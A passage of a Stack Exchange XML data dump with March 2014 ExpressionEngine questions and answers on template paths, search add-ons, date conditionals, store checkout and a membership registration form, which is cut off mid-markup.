  <row Id="20299" PostTypeId="1" AcceptedAnswerId="20304" CreationDate="2014-03-14T11:39:50.337" Score="0" ViewCount="1819" Body="&lt;p&gt;I am working locally and occasionally have to push my files up to staging server,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I replace the database a variable  gets overwritten and breaks my layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server path to site's templates (in Template ManagerGlobal &gt; Template Preferences)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not in the config.php file but if I could set it there good, either that or exclude the table when I export the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-03-14T12:19:01.360" Title="where are Server path to site's templates saved" Tags="|templates|config|path|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20300" PostTypeId="2" ParentId="19911" CreationDate="2014-03-14T11:47:28.090" Score="1" Body="&lt;p&gt;This turned out to be a database issue. I had duplicate entries in my exp_primary_category table. I think this may have been due to problems I had while upgrading Primary Category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution:&#xA;Using 'Sequel Pro' I connected to DB, and ran the following query to create a new database table containing only unique rows from exp_primary_category:&#xA;&quot;create table exp_primary_category2 as select distinct * from exp_primary_category;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then renamed 'exp_primary_category' to 'exp_primary_category-old' (just in case anything went wrong with new table) and named my new table 'exp_primary_category'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything back to normal now!&#xA;Thanks for the help&lt;/p&gt;&#xA;" OwnerUserId="2805" LastActivityDate="2014-03-14T11:47:28.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20301" PostTypeId="2" ParentId="20297" CreationDate="2014-03-14T11:57:24.460" Score="1" Body="&lt;p&gt;I don't think this can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can think about is to write addons to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this plugin will be useful &lt;a href=&quot;https://github.com/croxton/Search_fields&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Search_fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this plugin use the same way as EE but with some additional features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;u can hack it and add &quot;starts with&quot; feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-14T11:57:24.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20302" PostTypeId="1" CreationDate="2014-03-14T12:00:47.910" Score="0" ViewCount="171" Body="&lt;p&gt;I'm using a Channel Files field where the client can upload documents or images. If an image has been uploaded, I then want to be able to create a cached thumbnail in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use CE Image but just can't get it to generate anything. Has anyone else tried doing this with Channel Files and CE Image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is below;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{cf_channel_file limit=&quot;1&quot;}&#xA;&#xA;    {if file:extension == 'jpg' OR file:extension == 'jpeg' OR file:extension == 'png'}&#xA;&#xA;        {exp:ce_img:pair src=&quot;{file:url}&quot; crop=&quot;yes&quot; width=&quot;238&quot; height=&quot;244&quot;}&#xA;            &amp;lt;img src=&quot;{made}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;        {/exp:ce_img:pair}&#xA;&#xA;    {/if}&#xA;&#xA;{/cf_channel_file}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-03-14T12:00:47.910" Title="Generate a thumbnail from a Channel File field with CE Image" Tags="|image|ce-image|thumbnails|channel-files|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20303" PostTypeId="1" CreationDate="2014-03-14T12:11:33.703" Score="1" ViewCount="154" Body="&lt;p&gt;I want to add products from front-end side with single product or package of product in Expresso Store ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to do this in Expresso Store?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2664" LastActivityDate="2014-03-27T15:47:25.147" Title="How to add products from front-end side in Expresso Store?" Tags="|expresso-store|product|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20304" PostTypeId="2" ParentId="20299" CreationDate="2014-03-14T12:15:30.843" Score="1" Body="&lt;p&gt;Not all configurable options are in the default config file. This is one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the good news is that you can set an override in your site's config file just by adding it the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['tmpl_file_basepath'] = '/path/to/your/templates';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is possible to override many things in this way, to get the array key examine the ID of the input for that item in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should &lt;strong&gt;definitely&lt;/strong&gt; look at using &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Labs Master Config&lt;/a&gt; which allows you to specify different configurations (including database set ups, file paths, templates etc) for multiple domains from which a site might be served. It's a god-send for situations like this.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-14T12:15:30.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20305" PostTypeId="2" ParentId="20299" CreationDate="2014-03-14T12:19:01.360" Score="0" Body="&lt;p&gt;this will be saved in database (exp_sites -&gt; site_template_preferences) column but u can't see it because the data encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any way u can over-ride it with $config['tmpl_file_basepath'] in your config file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this link will be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/operations/moving.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/operations/moving.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check it an let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note: I always use &lt;a href=&quot;http://devot-ee.com/add-ons/reelocate&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/reelocate&lt;/a&gt; plugin when I move my sites it's very useful.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-14T12:19:01.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20307" PostTypeId="1" AcceptedAnswerId="20311" CreationDate="2014-03-14T13:01:42.303" Score="0" ViewCount="52" Body="&lt;p&gt;Hey I am going to be using Super search and am wondering how easy it is to pass a parameter to the results page. For example I will have a site with realtors on it and I want to have a link at the bottom of each page to go to a results page that shows just that realtors listings. Can I easily set that up? I've looked through the Docs but nothing jumped out at me. &lt;/p&gt;&#xA;" OwnerUserId="1187" LastActivityDate="2014-03-14T13:40:38.793" Title="Passing specific search parameters into results page" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20308" PostTypeId="1" CreationDate="2014-03-14T13:02:22.113" Score="2" ViewCount="352" Body="&lt;p&gt;This is on a client site running EE 2.6.1 and Freeform 4.0.12. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Freeform-based contact form with dynamic recipients in place and working based on user's section of 10 different checkboxes. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the client is asking that the return page URL be dictated by those same checkboxes - so they can track different things in Google Analytics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What they want isn't just a 1:1 mapping of checkbox to URL - they want some different combinations (if user selects a &amp;amp; b, do this, if they select all checkboxes do that, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see Freeform Pro has a return field that allows different return URLs based on the field selection, but what I need is to leverage the existing checkboxes, and be able to insert different logic statements before the final return URL is chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-03-17T00:54:23.073" Title="Dynamic Return Based on Existing Checkboxes" Tags="|solspace-freeform|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20309" PostTypeId="2" ParentId="20308" CreationDate="2014-03-14T13:21:16.377" Score="3" Body="&lt;p&gt;The only thing come to my mind is adding input:hidden field to your form named(return)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then use some JavaScript/Jquery code to change this value depend on checkboxes values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-14T13:21:16.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20310" PostTypeId="1" AcceptedAnswerId="24147" CreationDate="2014-03-14T13:22:39.423" Score="1" ViewCount="59" Body="&lt;p&gt;Let me start out by saying that I am using Super Search 2.1.3 and on EE version 2.7.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my problem. I have a channel for each product I'm selling. Each product has a Matrix field that can have several &quot;variations&quot; on that product and is really the meat of the data about the product itself. For instance, let's say the product is a particular table for this example. The variations for that table would be &quot;Solid Top Table&quot; and &quot;Extension Table&quot;. Each variation would have a series number, product number, dimensions, categories etc. I'm using WB Category Select (1.3.5) to simply associate my categories with each matrix row, which is the important part because it's what my question is all about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use Super Search to search for the categories associated with each Matrix row for that product variation and, essentially, the product as a whole?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've read this does not seem possible, however if someone has any ideas it would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2849" LastActivityDate="2014-07-02T15:27:50.073" Title="Can Super Search search categories in a matrix fieldtype?" Tags="|matrix|categories|supersearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20311" PostTypeId="2" ParentId="20307" CreationDate="2014-03-14T13:30:16.223" Score="2" Body="&lt;p&gt;as I read in the document &lt;a href=&quot;http://www.solspace.com/docs/super_search/results/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/super_search/results/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Super_Search:Results tag displays the entry results from a search&#xA;  query. And since search queries in the URI (and from POST searches)&#xA;  are human-readable&#xA;  (template_group/template/search&amp;amp;keywords=bird&amp;amp;summary=is+the+word),&#xA;  users can bookmark result pages, along with many other benefits.&#xA;  Searches can be performed in a variety of ways:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think you can do it easily by using {exp:super_search:results} as mention in the document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will help you , if you need more help tell me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's. &lt;/p&gt;&#xA;" OwnerUserId="2827" LastEditorUserId="2827" LastEditDate="2014-03-14T13:40:38.793" LastActivityDate="2014-03-14T13:40:38.793" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20312" PostTypeId="2" ParentId="20310" CreationDate="2014-03-14T13:42:40.053" Score="1" Body="&lt;p&gt;a lot of custom fields here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know about Super Search , but for EE search you can search in Matrix data if you mark the field as searchable as mention here;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11252/matrix-simple-search&quot;&gt;Matrix &amp;amp; Simple Search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-03-14T13:42:40.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20313" PostTypeId="2" ParentId="20297" CreationDate="2014-03-14T13:56:58.230" Score="4" Body="&lt;p&gt;The search-parameter for the Channel Entries tag does not allow you to target a Title field. So either get creative with the Query module, or try one of these options:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;1. Low Search&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Low Search's Field Search filter&lt;/a&gt; &lt;em&gt;can&lt;/em&gt; target entry titles &lt;em&gt;and&lt;/em&gt; allows you to match by 'starts with'. That would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results channel=&quot;services&quot; search:title=&quot;web&quot; starts_with=&quot;search:title&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, alternatively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results channel=&quot;services&quot; search:title=&quot;^web&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;2. Channel Query&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/channel-query&quot; rel=&quot;nofollow&quot;&gt;Channel Query&lt;/a&gt; is like the Query module, but calls the native channel:entries module with its result. You should be able to use it like this (untested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_query sql=&quot;SELECT entry_id FROM exp_channel_titles WHERE title LIKE 'web%' AND channel_id = 1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-03-14T13:56:58.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20314" PostTypeId="1" AcceptedAnswerId="20398" CreationDate="2014-03-14T14:08:17.977" Score="0" ViewCount="233" Body="&lt;p&gt;If all my membership functionality is handled on the front end via an addon like User or Freemember, can I just delete EE's built in member profile templates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think? Would that help prevent spam accounts?&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2015-03-01T17:27:39.687" Title="Delete EE's Member Profile Templates to Prevent SPAM, what do you think?" Tags="|members|spam|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20315" PostTypeId="1" AcceptedAnswerId="20317" CreationDate="2014-03-14T14:46:02.830" Score="1" ViewCount="359" Body="&lt;p&gt;I'm trying to code more readable dates on posts which have been entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will read &quot;12 - 17 Jan&quot; but if the month is across two months it will read &quot;12 Jan - 2 Feb&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spitting out my dates like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span&amp;gt;{entry_date format=&quot;%d %M&quot;} -&amp;lt;br&amp;gt;{expiration_date format=&quot;%d %M&quot;}&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shows the dates are not evaluating to the same month... for instance the first entry is &quot;21 JAN - 17 JUL&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I run a conditional on this exact same entry... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {entry_date format=&quot;%M&quot;}=={expiration_date format=&quot;%M&quot;}}&#xA;SAME MONTH&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's returning &quot;SAME MONTH&quot; am I overlooking something here? does the parse order mess with the conditional (I can't imagine it is in this instance) it may be worth mentioning that if I say &quot;!=&quot; does not equal... nothing is returned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. &#xA;Thanks&#xA;Chris&lt;/p&gt;&#xA;" OwnerUserId="2734" LastActivityDate="2014-03-14T15:02:41.250" Title="Simple conditional to compare expiration and entry date failing to evaluate" Tags="|conditionals|date-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20316" PostTypeId="1" CreationDate="2014-03-14T14:52:11.127" Score="1" ViewCount="58" Body="&lt;p&gt;In my URL I have the category (segment_2).&#xA;And now I want a list with all entries from this category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use category=&quot;8&quot; its fine, but in my URL isn't a ID... it's the {category_url_title}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{category_url_title} is my {segment_2}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;redner&quot; dynamic=&quot;off&quot; category=&quot;{segment_2}&quot; status=&quot;open&quot;}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks for help&#xA;Michel&lt;/p&gt;&#xA;" OwnerUserId="2850" LastActivityDate="2014-03-14T15:13:19.483" Title="Entries list without know ID of Category - want to usw category_url_title" Tags="|channel-entries|entries|categories|segments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20317" PostTypeId="2" ParentId="20315" CreationDate="2014-03-14T15:02:41.250" Score="0" Body="&lt;p&gt;just around them by &lt;code&gt;'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{entry_date format=&quot;%M&quot;}'=='{expiration_date format=&quot;%M&quot;}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-14T15:02:41.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20318" PostTypeId="2" ParentId="20316" CreationDate="2014-03-14T15:13:19.483" Score="1" Body="&lt;p&gt;if u want to use category_url_title in the title you must enable Use &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Category URL Titles In Links  In Admin ‣ Channel Administration ‣ Global Channel Preferences&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;as mention on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you must add the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Category URL Indicator (default: &quot;category&quot;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in your URL so if your URL is &lt;a href=&quot;http://example.com/page_name/your_category_url_title&quot; rel=&quot;nofollow&quot;&gt;http://example.com/page_name/your_category_url_title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then you must change it to &lt;a href=&quot;http://example.com/page_name/category/your_category_url_title&quot; rel=&quot;nofollow&quot;&gt;http://example.com/page_name/category/your_category_url_title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the otherhand IF you want to keep your URL as it you must use addons&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a good one is &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat&lt;/a&gt; , so your code will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;redner&quot; dynamic=&quot;off&quot; category=&quot;{segment_2_category_id}&quot; status=&quot;open&quot;}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-14T15:13:19.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20319" PostTypeId="1" CreationDate="2014-03-14T15:25:39.750" Score="0" ViewCount="23" Body="&lt;p&gt;{exp:proform:form} could not insert into form: event_registration. After clicking on event registration after entering the details, when I click on &quot;Submit&quot; it is giving error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bethesomebody.org/calendar/primary-families&quot; rel=&quot;nofollow&quot;&gt;http://www.bethesomebody.org/calendar/primary-families&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2851" LastActivityDate="2014-03-14T15:25:39.750" Title="Getting error when inserting details from the event registration page" Tags="|calendar-events|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20320" PostTypeId="1" CreationDate="2014-03-14T15:32:14.243" Score="0" ViewCount="111" Body="&lt;p&gt;I just updated to EE 2.8 &amp;amp; MSM 2.1.6 and now when I try to edit a channel field, I get a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-03-14T18:40:26.517" Title="Blank Pages on Channel Field Edit" Tags="|blank-screen|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20321" PostTypeId="1" AcceptedAnswerId="20339" CreationDate="2014-03-14T15:41:32.373" Score="1" ViewCount="34" Body="&lt;p&gt;I have enabled Netaxept and Dummy in the settings, but {field:payment_method} still just outputs an empty select list in the cart. What could be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit. Here is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout &#xA;form_class=&quot;form default&quot;&#xA;return=&quot;handlekurv/takk&quot;&#xA;error_handling=&quot;inline&quot;&#xA;error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&#xA;{if no_items}&#xA;    {redirect=&quot;butikk&quot;}&#xA;{/if}&#xA;&#xA;&amp;lt;section class=&quot;three-col&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Faktureringsadresse&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;p&amp;gt;Navn: &amp;lt;strong&amp;gt;{billing_name}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Adresse: &amp;lt;strong&amp;gt;{billing_address1}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Sted: &amp;lt;strong&amp;gt;{billing_postcode}, {order_custom1}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Land: &amp;lt;strong&amp;gt;{billing_country_name}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Telefon: &amp;lt;strong&amp;gt;{billing_phone}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;E-post: &amp;lt;strong&amp;gt;{order_email}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Leveringsadresse&amp;lt;/h2&amp;gt;&#xA;        {if shipping_same_as_billing}&#xA;            &amp;lt;p&amp;gt;Samme som faktureringsadresse&amp;lt;/p&amp;gt;&#xA;        {if:else}&#xA;            &amp;lt;p&amp;gt;Navn: &amp;lt;strong&amp;gt;{shipping_name}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;Adresse: &amp;lt;strong&amp;gt;{shipping_address1}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;Sted: &amp;lt;strong&amp;gt;{shipping_postcode}, {order_custom2}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;Land: &amp;lt;strong&amp;gt;{shipping_country_name}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;Telefon: &amp;lt;strong&amp;gt;{shipping_phone}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Betalingsmåte&amp;lt;/h2&amp;gt;&#xA;        {field:payment_method}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt; &amp;lt;!-- .three-col --&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; class=&quot;btn-flat green submit-cart&quot; name=&quot;submit&quot; value=&quot;Fullfør ordre&quot; class=&quot;btn gray&quot;&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:store:checkout}&lt;/p&gt;&#xA;" OwnerUserId="1525" LastEditorUserId="1525" LastEditDate="2014-03-14T18:55:23.863" LastActivityDate="2014-03-15T14:14:13.153" Title="No payment methods visible in cart" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20322" PostTypeId="2" ParentId="11064" CreationDate="2014-03-14T15:57:17.580" Score="2" Body="&lt;p&gt;It turns out that you must have at least one upload location (for that site, if MSM is enabled) present in order to set the upload location in Wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I just performed a migration of Wygwam (2.7.1) data from using the native EE uploads to using Assets (2.2.2). Initially, I moved all of the images from the native upload location to an assets external location. Aterwards I deleted the old upload locations and set Wygwam to use Assets for the browsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed this led to the same issue reported here. However, when I went back and created a new upload location (didn't matter where) I was able to get into the editor configurations and simply save them as is (such that the upload preferences had &quot;--&quot; selected). That made the browse button reappear in the wygwam image editor modal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, you will need to keep at least one upload location on the local filesystem to keep the browse button working.&lt;/p&gt;&#xA;" OwnerUserId="955" LastActivityDate="2014-03-14T15:57:17.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20323" PostTypeId="1" AcceptedAnswerId="20556" CreationDate="2014-03-14T17:19:24.263" Score="1" ViewCount="92" Body="&lt;p&gt;iv been trying to setup the email registration form for zoo-visitor when I add in all the credentials and hit submit the form just refreshes with a blank form and the error messages says &#xA;&quot;&lt;strong&gt;The following field is required: Email&lt;/strong&gt;&quot; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:registration_form return='dashboard' class=&quot;form&quot; error_handling='inline' error_delimiters='&amp;lt;span class=&quot;alert alert-error&quot;&amp;gt;|&amp;lt;/span&amp;gt;' autologin='yes' allowed_groups='5'}&#xA;&#xA;    &amp;lt;div class=&quot;arrow&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;group_id&quot; value=&quot;5&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;input id=&quot;trainer_firstname&quot; class=&quot;form-control input-lg&quot; name=&quot;trainer_firstname&quot; type=&quot;text&quot; placeholder=&quot;First name&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;input id=&quot;trainer_lastname&quot; class=&quot;form-control input-lg&quot; name=&quot;trainer_lastname&quot; type=&quot;text&quot; value=&quot;&quot; placeholder=&quot;Last Name&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;input id=&quot;trainer_phone&quot; class=&quot;form-control input-lg&quot; name=&quot;trainer_phone&quot; type=&quot;text&quot; value=&quot;&quot; placeholder=&quot;Phone&quot; /&amp;gt;    &#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;input id=&quot;email&quot; class=&quot;form-control input-lg&quot; name=&quot;email&quot; type=&quot;text&quot; value=&quot;&quot; placeholder=&quot;Email&quot; /&amp;gt;&#xA;        {error:email}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;input id=&quot;password&quot; class=&quot;form-control input-lg&quot; name=&quot;password&quot; type=&quot;password&quot; value=&quot;&quot; placeholder=&quot;Password&quot; /&amp;gt;&#xA;        {error:password}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;input id=&quot;password_confirm&quot; 